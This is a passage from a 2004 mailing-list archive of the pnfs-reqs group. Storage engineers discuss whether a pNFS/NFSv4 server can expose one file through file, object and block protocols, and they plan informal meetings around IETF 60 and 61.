Date: Sun, 27 Jun 2004 11:46:28 +0300 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 27/06/2004 11:46:29, Serialize complete at 27/06/2004 11:46:29 Content-Type: multipart/alternative; boundary=""=_alternative 0020E1A1C2256EC0_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Definitely - Lustre OST can (in theory) export OST objects (their flavor) or files - as they use the native fs (that can be exported through NFS too). But however hard I try I can't come up with a good reason one may want to do it - unless we want to guarantee that any client can access any piece of data through the client's favorite or only protocol and still support pNFS. I would add also that there is probably no big deal in supporting both object and file but definitely a lot of (unwanted) complexity in supporting object/file and block, And we did not talk about security yet - that IMHO is unmanageable if we admit block and file/object access to the same file data. Julo Dean Hildebrand 24/06/04 21:26 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject Re: [pnfs-reqs] summary of June face-to-face Thanks Garth, I think that cleared it up. Does anyone know of an existing file system that exports more than 1 parallel interface? Dean On Thu, 24 Jun 2004, Garth Gibson wrote: > I think there are two questions: > - is it possible > - is it a common case for our design > for a single file or single filesystem to be accessible from clients > using two different storage protocols. > > I am certain it is possible, but I am not certain it is a common case. > That is, I am not sure I can generate a compelling use case for us to > make it important to worry a lot about this case. > > For example, if a data server supports iSCSI and NFS command protocols, > a ""parallel file system"" could spread a file over multiple data servers > in a way that allows it to be seen as parallel block file or a set of > files striped over NFS. This is certainly complex, and I can't think > of a good reason for it, but it is possible. > > Dean, perhaps you are thinking of implementations where the backend > parallel file systems are only the ones that already exist, and you are > suggesting that a file would never be managed by two different backend > parallel file services. I would agree. But a backend could be built > that did this. Or a middle layer could be built that put NFS frontend > in each disk array, used a block-based backend for each NFS server to > privately access the blocks on its disk array, and the middle layer > could over striped files. Perhaps because a file that is usually > accessed through a data center SAN is now needed by a cluster in > another building and someone believes that it is better to use NFS/TCP > to handle the extra layers of routers. > > Anyway, possible I think it is. Important to initial implementations, > unlikely. Useful for the standard to leave possible, maybe, if there > are little or no ramifications in the standard draft. > > garth > > On Jun 24, 2004, at 1:27 PM, Dean Hildebrand wrote: > > > Dave, thanks for the detailed explanation, but I think you missed my > > point (or maybe it is just your 'artful language' :) ) > > > > I understand how VFS type layers work, but the question is, ""How does a > > single NFSv4 server export multiple protocols?"" You can have multiple > > NFSv4 servers each exporting a different protocol, but it seems to me > > that > > a NFSv4 server is bound to the metadata server of the file sytem is > > exports. If this is true, then a client accessing a single NFSv4 > > server > > should only be told about the protocol of the metadata server the NFSv4 > > server is exporting. If a client wants to use a different parallel I/O > > protocol, then it would have to mount a different NFSv4 server > > exporting > > a different file protocol. > > > > How you would have a single file exported via 2 parallel file systems > > is a > > whole other issue. > > Dean > > > > On Thu, 24 Jun 2004, Noveck, Dave wrote: > > > >> Let's me answer things a bit out of order. > >> > >>> Is this something that a specialized implementation of the > >>> NFS server, like Netapp's, is looking to support? > >> > >> Speaking personally, I'd prefer to implement a single storage > >> protocol because doing that is the minimum amount of work, > >> and I kind of like doing the minimum amount of work. > >> > >> However, I don't make those kind of decisions. Ultimately, > >> the number of storage protocols we would support depends on > >> what customers want. However, if we do wind up supporting > >> more than one single protocol, I can't imagine us requiring > >> that each fs only be accessible via a single storage protocol. > >> That's just a configuration nightmare. If you support a > >> set of storage protocols, then I think you might as well > >> allow any of them to be used on any fs. > >> > >> Now let's go to the ""how"" question. > >> > >>> I would still like someone to explain to me how the NFS server, > >>> which is talking to a single file system through an OS's 'VFS' > >>> layer, can support multiple protocols for a single file at the > >>> same time. > >> > >> I don't think there is anything involved in doing this > >> which is fundamentally incompatible with the sort of > >> architecture you are talking about. Of course, as my > >> artful language suggests, you're probably going to wind > >> up changing your VFS interface in various ways. That's > >> just something you have to accept when you do these sorts > >> of things. Otherwise life could get unbearably dull. > >> > >>> Each fsid or node exported via exportfs can have a > >>> different file system type, but for a single file? > >> > >> I think you are misunderstanding the relationship of > >> the protocol by which access to an fs is exported and > >> the VFS file system type. Let us suppose that I > >> have an NFS server which is acting as the storage > >> server and providing the file-style access on behalf > >> of a pnfs metadata server on another machine. Let's > >> just pick an fs type for the underlying fs. Let's > >> say it is UFS. It doesn't matter. File-style storage > >> access, in this case NFS access, can be provided at the > >> same time that the UFS files within that store are > >> accessed by local application, if there are any. In > >> this context the NFS server is just an application that > >> is accessing those files. Now suppose I build a server > >> for another storage protocol, let's say objects. It > >> would receive CDB's instead of RPC requests but its > >> relationship to the UFS file system through VFS would > >> be exactly the same as that of the NFS server. It > >> would do VFS_READ and VFS_WRITE calls. If I'm > >> implementing a blocks storage protocol and I choose > >> to present in pnfs virtualized block addresses tied > >> to the actual VFS file objects, then things are similar > >> in the blocks case as well. If I want to export the > >> actual physical block address within the UFS file > >> system then things get nasty and you probably have to > >> build things a different way, but the point is that > >> the many storage protocols may implemented on top of > >> VFS access to a single fs. > >> > >> > >> -----Original Message----- > >> From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] > >> Sent: Thursday, June 24, 2004 12:16 PM > >> To: pnfs-reqs@yahoogroups.com > >> Subject: RE: [pnfs-reqs] summary of June face-to-face > >> > >> > >> I would still like someone to explain to me how the NFS server, which > >> is > >> talking to a single file system through an OS's 'VFS' layer, can > >> support > >> multiple protocols for a single file at the same time. Each fsid or > >> node > >> exported via exportfs can have a different file system type, but for a > >> single file? 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From andros@citi.umich.edu Mon Jun 28 15:42:30 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 15708 invoked from network); 28 Jun 2004 22:42:29 -0000 Received: from unknown (66.218.66.167) by m16.grp.scd.yahoo.com with QMQP; 28 Jun 2004 22:42:29 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta6.grp.scd.yahoo.com with SMTP; 28 Jun 2004 22:42:28 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 390531301E; Mon, 28 Jun 2004 18:42:28 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Sun, 27 Jun 2004 11:46:28 +0300."" Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Date: Mon, 28 Jun 2004 18:42:28 -0400 Message-Id: <20040628224228.390531301E@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169434965 julian_satran@il.ibm.com said: > Definitely - Lustre OST can (in theory) export OST objects (their > flavor) or files - as they use the native fs (that can be exported > through NFS too). But however hard I try I can't come up with a good > reason one may want to do it - unless we want to guarantee that any > client can access any piece of data through the client's favorite or > only protocol and still support pNFS. i could see OSD inside a cluster, and files for WAN exporting of cluster data. > I would add also that there is probably no big deal in supporting both > object and file but definitely a lot of (unwanted) complexity in > supporting object/file and block, > And we did not talk about security yet - that IMHO is unmanageable if > we admit block and file/object access to the same file data. yes, the security discussion should get started asap! > Julo >From garth@panasas.com Thu Jul 01 10:25:40 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 8670 invoked from network); 1 Jul 2004 17:25:39 -0000 Received: from unknown (66.218.66.172) by m23.grp.scd.yahoo.com with QMQP; 1 Jul 2004 17:25:39 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 1 Jul 2004 17:25:39 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56TFDH; Thu, 1 Jul 2004 13:25:15 -0400 Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Thu, 1 Jul 2004 13:25:14 -0400 X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: planning future meetings X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Folks, We've gotten behind on meeting plans. The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt Hopefully pNFS will get some time on that agenda, but it will be a small amount at most. What I'd like to propose is that we meet f-2-f on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel and Marina), so I'm also looking for proposals for where to hold the meeting. Since timing is tight on this, please reply soon. And while you are thinking about your schedule, lets talk about the meeting after. The next IETF is Nov 7-12 in Washington DC (which overlaps SC04 in Pittsburgh). Again we should target a piece of the not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. I'm happy to propose a day long interim meeting at CMU in Pittsburgh in September, before the cut off dates to submit for the IETF meeting in Nov. Opinions? Date suggestions? Alternatives? garth >From Thomas.Talpey@netapp.com Thu Jul 01 10:39:17 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 86323 invoked from network); 1 Jul 2004 17:39:16 -0000 Received: from unknown (66.218.66.167) by m24.grp.scd.yahoo.com with QMQP; 1 Jul 2004 17:39:16 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 1 Jul 2004 17:39:16 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i61HdFkX008337 for ; Thu, 1 Jul 2004 10:39:15 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i61HdFI6011218 for ; Thu, 1 Jul 2004 10:39:15 -0700 (PDT) Received: from tmt.netapp.com ([10.97.6.37]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 1 Jul 2004 13:39:09 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C45F92.50485C80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 1 Jul 2004 10:39:07 -0700 Message-ID: <6.1.2.0.2.20040701133553.034c6ec0@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] planning future meetings Thread-Index: AcRfklCgSsNlJf+5TcihZOsoILI4Mw== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] planning future meetings X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 01:25 PM 7/1/2004, Garth Gibson wrote: >The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. >See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt ***DRAFT*** agenda. Don't count on this date until it's ""final""! >Hopefully pNFS will get some time on that agenda, but it will be a >small amount at most. What I'd like to propose is that we meet f-2-f >on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. I would be very reluctant to commit to this without knowing what conflicts it introduces with IETF business. There are several other working groups that I attend. Also, I believe this may a bad precedent to set for pNFS w.r.t. the IETF. That said, a nonconflicting f2f would be good. Tom. >From ggrider@lanl.gov Thu Jul 01 17:30:27 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 12610 invoked from network); 2 Jul 2004 00:30:26 -0000 Received: from unknown (66.218.66.172) by m22.grp.scd.yahoo.com with QMQP; 2 Jul 2004 00:30:26 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta4.grp.scd.yahoo.com with SMTP; 2 Jul 2004 00:30:26 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i620TNCp007407 for ; Thu, 1 Jul 2004 18:29:23 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i620TM24008505 for ; Thu, 1 Jul 2004 18:29:22 -0600 Received: from cthulu.lanl.gov (vpn-client-153.lanl.gov [128.165.253.153]) by cic-mail.lanl.gov (8.12.11/8.12.11/(ccn-5)) with ESMTP id i620TKas027778 for ; Thu, 1 Jul 2004 18:29:21 -0600 Message-Id: <5.2.0.9.2.20040701182847.03623f30@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 01 Jul 2004 18:29:24 -0600 To: pnfs-reqs@yahoogroups.com In-Reply-To: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_1525173==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] planning future meetings X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs I prefer the 3rd or 4th, not the 2nd. Thanks Gary At 01:25 PM 7/1/2004 -0400, Garth Gibson wrote: > Folks, > > We've gotten behind on meeting plans. > > The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. > See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > Hopefully pNFS will get some time on that agenda, but it will be a > small amount at most. What I'd like to propose is that we meet f-2-f > on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > and Marina), so I'm also looking for proposals for where to hold the > meeting. > > Since timing is tight on this, please reply soon. > > And while you are thinking about your schedule, lets talk about the > meeting after. The next IETF is Nov 7-12 in Washington DC (which > overlaps SC04 in Pittsburgh). Again we should target a piece of the > not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. > > I'm happy to propose a day long interim meeting at CMU in Pittsburgh in > September, before the cut off dates to submit for the IETF meeting in > Nov. > > Opinions? Date suggestions? Alternatives? > > garth > > > Yahoo! Groups Sponsor > ADVERTISEMENT > 1744c4.jpg > 174532.jpg > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From julian_satran@il.ibm.com Thu Jul 01 23:42:12 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 34945 invoked from network); 2 Jul 2004 06:42:11 -0000 Received: from unknown (66.218.66.217) by m10.grp.scd.yahoo.com with QMQP; 2 Jul 2004 06:42:11 -0000 Received: from unknown (HELO mtagate4.de.ibm.com) (195.212.29.153) by mta2.grp.scd.yahoo.com with SMTP; 2 Jul 2004 06:42:10 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate4.de.ibm.com (8.12.10/8.12.10) with ESMTP id i626fkFA112586 for ; Fri, 2 Jul 2004 06:41:46 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i626fjCD260396 for ; Fri, 2 Jul 2004 08:41:46 +0200 In-Reply-To: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: Date: Fri, 2 Jul 2004 09:41:43 +0300 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 02/07/2004 09:41:46, Serialize complete at 02/07/2004 09:41:46 Content-Type: multipart/alternative; boundary=""=_alternative 001D1239C2256EC5_="" X-eGroups-Remote-IP: 195.212.29.153 From: Julian Satran Subject: Re: [pnfs-reqs] planning future meetings X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT The IETF agenda is not final (I don't see a requested IPS session yet) but except for this August 3 (afternoon) looks fine. As for September - for me the last dates are second week before the SNIA-OSD F2F in California. After that is are the Jewish fall holidays that will make only several days towards the end feasible. Julo Garth Gibson 01/07/04 20:25 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject [pnfs-reqs] planning future meetings Folks, We've gotten behind on meeting plans. The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt Hopefully pNFS will get some time on that agenda, but it will be a small amount at most. What I'd like to propose is that we meet f-2-f on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel and Marina), so I'm also looking for proposals for where to hold the meeting. Since timing is tight on this, please reply soon. And while you are thinking about your schedule, lets talk about the meeting after. The next IETF is Nov 7-12 in Washington DC (which overlaps SC04 in Pittsburgh). Again we should target a piece of the not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. I'm happy to propose a day long interim meeting at CMU in Pittsburgh in September, before the cut off dates to submit for the IETF meeting in Nov. Opinions? Date suggestions? Alternatives? garth ------------------------ Yahoo! Groups Sponsor --------------------~--> Yahoo! Domains - Claim yours for only $14.70 http://us.click.yahoo.com/Z1wmxD/DREIAA/yQLSAA/W6uqlB/TM --------------------------------------------------------------------~-> Yahoo! Groups Links <*> To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ <*> To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com <*> Your use of Yahoo! Groups is subject to: http://docs.yahoo.com/info/terms/ >From black_david@emc.com Mon Jul 05 10:40:55 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 13220 invoked from network); 5 Jul 2004 17:40:53 -0000 Received: from unknown (66.218.66.217) by m6.grp.scd.yahoo.com with QMQP; 5 Jul 2004 17:40:53 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta2.grp.scd.yahoo.com with SMTP; 5 Jul 2004 17:40:53 -0000 Received: from mxic2.corp.emc.com (mxic2.corp.emc.com [128.221.12.9]) by mailhub.lss.emc.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id i65HeOV10919 for ; Mon, 5 Jul 2004 13:40:25 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 5 Jul 2004 13:40:24 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Mon, 5 Jul 2004 13:40:16 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C462B7.224E492A"" X-PMX-Version: 4.6.0.97784, Antispam-Core: 4.6.0.97340, Antispam-Data: 2004.7.4.105843 X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: RE: [pnfs-reqs] planning future meetings X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT IPS is combined with IMSS on Monday evening. Tom's comment that this agenda is subject to change is important - that combined session might move elsewhere in the day on Monday ... and we won't know final meeting slots for anything until about 2 weeks prior to the meeting. One exception is that the combined IPS/IMSS will not move from Monday, as these two WGs will meet that day in order to minimize a conflict with T11 meetings the same week in Colorado. Also, once pNFS is a formal IETF effort, this sort of use of private face-to-face meetings and concalls to work on the draft(s) starts to become problematic - Julian may remember some of what had to be done in the early days of IP Storage to ensure that the drafts were worked on in a sufficiently public fashion. Private meetings among a small author team are ok (getting together at the bar at IETF meetings is a long-standing tradition), but any requirement to attend phone calls or meetings other than official WG interim meetings in order to have input into drafts under development is definitely not ok. One interesting opportunity is that I have *not* seen any announcement of a social event, so a dinner/evening working session of some form on Tuesday (assuming the NFSv4 WG meeting stays on Tuesday) sounds promising. I'd stay away from Tuesday afternoon because the fact that it's broken into 4 one-hour sessions increases the possibility of an important conflict. Thanks, --David -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Friday, July 02, 2004 2:42 AM To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] planning future meetings The IETF agenda is not final (I don't see a requested IPS session yet) but except for this August 3 (afternoon) looks fine. As for September - for me the last dates are second week before the SNIA-OSD F2F in California. After that is are the Jewish fall holidays that will make only several days towards the end feasible. Julo Garth Gibson 01/07/04 20:25 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject [pnfs-reqs] planning future meetings Folks, We've gotten behind on meeting plans. The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt Hopefully pNFS will get some time on that agenda, but it will be a small amount at most. What I'd like to propose is that we meet f-2-f on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel and Marina), so I'm also looking for proposals for where to hold the meeting. Since timing is tight on this, please reply soon. And while you are thinking about your schedule, lets talk about the meeting after. The next IETF is Nov 7-12 in Washington DC (which overlaps SC04 in Pittsburgh). Again we should target a piece of the not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. I'm happy to propose a day long interim meeting at CMU in Pittsburgh in September, before the cut off dates to submit for the IETF meeting in Nov. Opinions? Date suggestions? Alternatives? garth ------------------------ Yahoo! Groups Sponsor --------------------~--> Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From garth@panasas.com Thu Jul 08 09:13:44 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 24409 invoked from network); 8 Jul 2004 16:13:43 -0000 Received: from unknown (66.218.66.167) by m22.grp.scd.yahoo.com with QMQP; 8 Jul 2004 16:13:43 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 8 Jul 2004 16:13:43 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56T478; Thu, 8 Jul 2004 12:13:41 -0400 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> References: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Thu, 8 Jul 2004 12:13:40 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: planning future meetings X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Here is what I think is on the table for comments/interest from this community: Tues Aug 3, IETF 60, San Diego: - IETF NFSv4 meeting is in the morning - in the afternoon, and evening if appropriate, interested and available pNFS participants gather in the hotel lobby bar. the goal is to get 4-6 hours of meeting time to justify those of us traveling to San Diego that will not otherwise attend the IETF meeting. we might try to arrange a room in a local chinese restaurant, for example, but we do not expect any meeting rooms will be available at the IETF hotel and we do not want to create an officially conflicting meeting. - IETF schedule is not final and may change as late as 2 weeks before the meeting, so people's Tues afternoon may change. this is in part why we are suggesting that the meeting may go into the evening. staying the night is not a bad thing for most of us as the RDDP meeting is likely to be first thing on Wed morning anyway. Would folks please speak up on this list if they are going to attend this meeting. Thurs Sept 30, Pennsylvania: - an informal face-to-face in the Pittsburgh area, at either CMU or Nemacolin (for those who collaborate with or support CMU's PDL, this is the day after the PDL retreat) - this might be the last informal pNFS meeting done outside the NFSv4 TWG schedule as we hope to soon convince the NFSv4 group to take us in week of Nov 8, IETF 61, Washington DC - similar to the Aug 3 meeting, a meeting in the bar or in a restaurant during the IETF meeting week garth On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > Folks, > > We've gotten behind on meeting plans. > > The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. > See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > Hopefully pNFS will get some time on that agenda, but it will be a > small amount at most. What I'd like to propose is that we meet f-2-f > on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > and Marina), so I'm also looking for proposals for where to hold the > meeting. > > Since timing is tight on this, please reply soon. > > And while you are thinking about your schedule, lets talk about the > meeting after. The next IETF is Nov 7-12 in Washington DC (which > overlaps SC04 in Pittsburgh). Again we should target a piece of the > not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. > > I'm happy to propose a day long interim meeting at CMU in Pittsburgh in > September, before the cut off dates to submit for the IETF meeting in > Nov. > > Opinions? Date suggestions? Alternatives? > > garth > > > > > > Yahoo! Groups Links > > > > >From Thomas.Talpey@netapp.com Thu Jul 08 13:36:06 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 55047 invoked from network); 8 Jul 2004 20:36:05 -0000 Received: from unknown (66.218.66.172) by m21.grp.scd.yahoo.com with QMQP; 8 Jul 2004 20:36:05 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 8 Jul 2004 20:36:05 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i68Ka3kX019101 for ; Thu, 8 Jul 2004 13:36:04 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i68KZe05014138 for ; Thu, 8 Jul 2004 13:36:03 -0700 (PDT) Received: from tmt.netapp.com ([10.97.6.31]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 8 Jul 2004 16:35:48 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C4652B.26ABAA00"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 8 Jul 2004 13:35:24 -0700 Message-ID: <6.1.2.0.2.20040708163437.01db5508@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: planning future meetings Thread-Index: AcRlKyb0ymyRZseOTi2GvdUG/hxnRA== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 12:13 PM 7/8/2004, Garth Gibson wrote: >Would folks please speak up on this list if they are going to attend >this meeting. I'll be attending IETF from Sunday->Thursday and will attend the nonconflicting parts of the pNFS meeting. Tom. >From black_david@emc.com Thu Jul 08 13:40:33 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 74018 invoked from network); 8 Jul 2004 20:40:33 -0000 Received: from unknown (66.218.66.216) by m17.grp.scd.yahoo.com with QMQP; 8 Jul 2004 20:40:33 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta1.grp.scd.yahoo.com with SMTP; 8 Jul 2004 20:40:32 -0000 Received: from MAHO3MSX2.corp.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-2.2.0) with ESMTP id i68KeT6D023513 for ; Thu, 8 Jul 2004 16:40:29 -0400 (EDT) Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Jul 2004 16:40:28 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Thu, 8 Jul 2004 16:40:25 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C4652B.CC03D425"" X-PMX-Version: 4.6.0.97784, Antispam-Core: 4.6.0.97340, Antispam-Data: 2004.7.8.106429 X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: RE: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 Ditto. --David -----Original Message----- From: Talpey, Thomas [mailto:Thomas.Talpey@netapp.com] Sent: Thursday, July 08, 2004 4:35 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Re: planning future meetings At 12:13 PM 7/8/2004, Garth Gibson wrote: >Would folks please speak up on this list if they are going to attend >this meeting. I'll be attending IETF from Sunday->Thursday and will attend the nonconflicting parts of the pNFS meeting. Tom. >From pcorbett@netapp.com Thu Jul 08 13:42:42 2004 Return-Path: X-Sender: 